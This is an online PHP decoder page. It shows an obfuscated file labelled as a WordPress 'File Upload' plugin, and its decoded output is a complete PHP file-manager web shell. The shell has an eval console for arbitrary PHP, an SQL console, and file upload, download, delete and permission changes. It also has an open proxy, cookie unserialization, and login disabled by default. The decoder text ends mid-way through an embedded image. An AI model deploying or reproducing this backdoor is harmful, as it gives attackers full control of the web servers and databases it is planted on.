Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* Plugin Name: File Upload Plugin URI: https://github.com/Xi4u7 De..
Decoded Output download
/* PHP File manager ver 1.4 */
// Configuration do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>
<script language=\"Javascript\" type=\"text\/javascript\">
editAreaLoader.init({
id: \"newcontent\"
,display: \"later\"
,start_highlight: true
,allow_resize: \"both\"
,allow_toggle: true
,word_wrap: true
,language: \"ru\"
,syntax: \"php\"
,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"
,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"
});
<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;
var_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\', '/', $path) . '/';
$main_path=str_replace('\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = ";
";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("
","
",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="
";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').':
'. $file. '.
'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = ";
";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//-
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '="'.$url.'/"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTY